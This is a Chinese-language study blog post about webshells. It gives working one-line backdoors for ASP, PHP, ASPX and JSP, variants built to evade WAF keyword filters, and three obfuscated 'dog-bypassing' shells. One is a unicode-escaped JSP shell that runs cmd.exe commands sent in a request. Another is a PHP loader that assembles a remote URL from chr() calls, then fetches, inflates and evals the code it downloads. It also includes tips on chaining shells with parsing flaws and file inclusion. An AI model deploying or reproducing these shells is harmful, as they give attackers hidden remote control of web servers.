参考文章:

https://www.bilibili.com/video/BV1T4411t7BW?p=14

https://blog.csdn.net/mmmsss987/article/details/90460403

对Webshell一直没有一个清楚的理解,就知道直接写马进去,权限不够在换大马,昨天正好看到了webshell的视频,就写个文章记录一下。

webshell的分类

小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能。

不过中国菜刀留的一句话功能不逊大马的功能。

大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序。

小马的作用就是为了上传大马进行提权,一般都是小马权限不够,才用小马上传大马提升权限

现在大家普遍使用的就是一句话木马,基本上都是这个,只是稍微有点变形,比如说插入到图片中做成 图片马

一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

  1. <%execute request"value"%>

原理:一句话木马分为两部分,一部分是执行函数,一部分是传参方式,(比如说GET,POST,COOKIE 或者REQUEST,,)后面大家所说的密码也就是上一行中的 value ,其实是传参时候接受参数的名称 比如说 xxx.com/xx.php?value= '菜刀传过来的命令'

WAF : 现在的waf拦截基本上都是基于特征匹配,比如说匹配到 execute 或者 eval 函数就拦截

asp一句话木马:

  1. <%eval request"c"%>

php一句话木马:

  1. <?php@eval($_POST[value]);?>

aspx一句话木马:

  1. <%@Page Language="Jscript" %>
  2. <%evalRequest.ltem["value"])%> asp和aspx的区别就是aspx可以直接调用cmd,asp不可以,但是一般waf对aspx的过滤比较严格

jsp一句话

  1. <% if(request. getParameter("f")!=null)(ne w java. io. FileOutputStream(application.getRealPath("/")+request.getParameter("f")))
    .write(request. getParameter("t"). getBytes();%>

这个asp,php,jsp都是相对而言的,比如说你一个asp的站点,但是可以对PHP进行解析,你同样可以上传PHP的马,

一句话木马简单变形

  1. wafeval函数进行了拦截 <?php $_REQUEST['a']($_REQUEST['b']) ; ?> xxx.com/a.php?a=eval&b=phpinfo 这个实际构造的就是 <?php eval(phpinfo); ?> 现在不能绕过了。。
  1. 对引号进行了过滤 <?%Eval (Request(chr(112)))%?>

这里需要注意的一点就是 asp加密的一句话

  1. ┼攠数畣整爠焕敌瑳∨≡┩忾 密码 a

使用条件:正常情况下, asp网站access数据库文件的后缀名应该为  data.mdb  但是加密之后的数据库 后缀为  data.asp  说明这个数据库是加密的,这时候直接把一句话插入数据库中,比如说注册用户的时候加进去,直接就拿shell

一句话图片马的制作

  1. 分类中有篇文章有详细写

最新webshell大合集

https://blog.csdn.net/mmmsss987/article/details/90460403

附上几个过狗的马  时间是 2019.9.18

ASPX

  1. <%@ Page Language="Jscript"%>
  2. <%
  3. var p = Request.Item["M"];
  4. var a = p.substring(0,1);
  5. var b = p.substring(1,99999);
  6. var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
  7. eval(a+b,c);
  8. %>

JSP

  1. <%@ page import="java.util.*,java.io.*,java.net.*"%>
  2.  
  3. <%
  4. \u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0022\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u003a\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u002b\u0020\u0022\u005c\u006e\u003c\u0042\u0052\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0020\u002f\u0063\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0064\u0069\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0069\u006e\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0020\u0028\u0020\u0064\u0069\u0073\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0064\u0069\u0073\u0072\u0029\u003b\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d
  5. %>

PHP

  1. <?php
  2. $password='haha';//登录密码
  3. //----------功能程序------------------//
  4. $c="chr";
  5. session_start();
  6. if(empty($_SESSION['PhpCode'])){
  7. $url=$c(104).$c(116).$c(116).$c(112).$c(58);
  8. $url.=$c(47).$c(47).$c(97).$c(101).$c(48).$c(49);
  9. $url.=$c(46).$c(97).$c(108).$c(105).$c(99).$c(100);
  10. $url.=$c(110).$c(46).$c(99).$c(111).$c(109).$c(47);
  11. $url.=$c(107).$c(102).$c(47).$c(72).$c(50).$c(53);
  12. $url.=$c(56).$c(49).$c(97).$c(54).$c(99).$c(97).$c(100);
  13. $url.=$c(48).$c(54).$c(49).$c(52).$c(48).$c(53).$c(49);
  14. $url.=$c(57).$c(50).$c(101).$c(100).$c(99).$c(54).$c(101);
  15. $url.=$c(55).$c(102).$c(51).$c(56).$c(55).$c(53).$c(50);
  16. $url.=$c(48).$c(53).$c(78).$c(46).$c(106).$c(112).$c(103);
  17. $get=$c(102).$c(105).$c(108).$c(101).$c(95);
  18. $get.=$c(103).$c(101).$c(116).$c(95).$c(99);
  19. $get.=$c(111).$c(110).$c(116).hex2bin('656E');
  20. $get.=$c(116).$c(115);
  21. $_SESSION['PhpCode']=$get($url);}
  22. $un=$c(103).$c(122).$c(105).$c(110);
  23. $un.=$c(102).$c(108).$c(97).hex2bin('7465');
  24. @eval($un($_SESSION['PhpCode']));
  25. ?>

 webshell使用技巧

配合解析漏洞   一般是配合图片马进行上传,(图片马你光上传,不解析也是没有作用的,必须解析才会起到作用)

配合文件包含

利用文件名溢出

看了很多文章,都是在后台管理员界面上传图像或者其它的文件getshell

这个文件包含是什么意思呢?你上传了一个ima.jpg图片马,但是没法运行,你只能在上传一个b.asp文件,让ima.jpg在b.asp中运行,这样就能让图片马正常运行了

 

需要注意

asp,aspx,php都是可以直接用菜刀连接的,但是jsp不行,jsp的一句话太大,有时候比大马都大,

cracer讲的是 先上传个一句话或者小马,然后在把菜刀目录下customize.jsp中的代码上传?????(应该就是借助小马上传大马)

jsp一般权限比较大,基本上都是最高权限

需要注意

一点的就是,找到了别人的webshell,可以用工具去暴力破解,在cracer的工具包里面有工具。一句话木马用k8的那个工具,大马用图中的webshell这个工具,当然,也可用bp来跑

查找webshell后门

这个就有点坑了,你辛辛苦苦拿下的站,结果被别人,日了

首先他留这个后门目的就是获取你 连接shell的地址和你连接shell的密码

可以参考下这个视频,前几年hack70发布的

https://www.bilibili.com/video/BV1D4411e7WW?p=2

webshell学习的更多相关文章

  1. 2019-11-7:sql注入防御,webshell概念,学习笔记

    sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...

  2. 变量覆盖漏洞学习及在webshell中的运用

    一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...

  3. Msfvenom学习总结-MSF反弹webshell

    1.    –p (- -payload-options) 添加载荷payload. 载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填 ...

  4. Compiler Theory(编译原理)、词法/语法/AST/中间代码优化在Webshell检测上的应用

    catalog . 引论 . 构建一个编译器的相关科学 . 程序设计语言基础 . 一个简单的语法制导翻译器 . 简单表达式的翻译器(源代码示例) . 词法分析 . 生成中间代码 . 词法分析器的实现 ...

  5. 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell

    在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...

  6. Deformity PHP Webshell、Webshell Hidden Learning

    目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...

  7. 什么是webshell?

    webshell是web入侵的脚本攻击工具. 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中 ...

  8. 最强黑吃黑:WEBSHELL大马隐藏万能密码大全

    因为很多原因,很多新手都不会编写自己的大马,大多数新手都会通过百度去下载对应脚本的大马,然而这些webshell大马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎 ...

  9. 【渗透攻防】千变万化的WebShell

    前言WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有 ...

随机推荐

  1. 如何使用Camtasia进行电脑录制屏幕

    在现在的网络互联网时代,越来越多的人走上了自媒体的道路.有些自媒体人会自己在网络上录制精彩视频,也有一些人会将精彩.热门的电影剪辑出来再加上自己给它的配音,做成大家喜欢看的电影剪辑片段.相信不管大家是 ...

  2. Linux中redis服务开启docker运行redis并设置密码

    //查询目前可用的reids镜像 docker search redis //选择拉取官网的镜像 docker pull redis //查看本地是否有redis镜像 docker images // ...

  3. 记 · ElemetnUI + Vue v-if 视图切换踩过的那些坑

    使用EleUI 做一个用户登录窗口,需要用v-if 动态切换三个表单:手机登录.账密登录和密码找回.其中需要实现一个重置表单的功能,但其间出了一些小bug.密码找回表单中有三个表单项,手机登录和账密登 ...

  4. Java基础教程——结构化编程

    结构化编程 各结构的图示请参见: https://www.cnblogs.com/tigerlion/p/10703926.html 选择结构 |-if:如果 |-else:其他:此外:否则. pub ...

  5. mq消息消费,broker选址

    PullRequest.MessageQueue.BrokerName 根据PullRequest.MessageQueue得到brokerId,默认0或者用缓存中的suggest,每次消息拉取后会更 ...

  6. DBeaver连接达梦|虚谷|人大金仓等国产数据库

    前言 工作中有些项目可能会接触到「达梦.虚谷.人大金仓」等国产数据库,但通常这些数据库自带的连接工具使用并不方便,所以这篇文章记录一下 DBeaver 连接国产数据库的通用模版,下文以达梦为例(其他国 ...

  7. Python中使用“模块名.__all__”查看模块建议导出的属性

    在<第10.5节 使用__all__定义Python模块导入白名单>中,老猿介绍了在自定义模块中使用定义__all__属性来提供模块对外可见的白名单,使用该机制除了可以定义访问的白名单外, ...

  8. PyQt(Python+Qt)学习随笔:QAbstractItemView的verticalScrollMode和horizontalScrollMode属性

    老猿Python博文目录 老猿Python博客地址 一.概述 verticalScrollMode和horizontalScrollMode属性用于控制视图如何在垂直方向和水平方向滚动内容.滚动可以按 ...

  9. 第二篇 Scrum 冲刺博客

    一.站立式会议 1. 会议照片 2. 工作汇报 成员名称 昨日(23日)完成的工作 今天(24日)计划完成的工作 工作中遇到的困难 陈锐基 - 完成个人资料编辑功能- 对接获取表白动态的接口数据并渲染 ...

  10. 中间件面试专题:kafka高频面试问题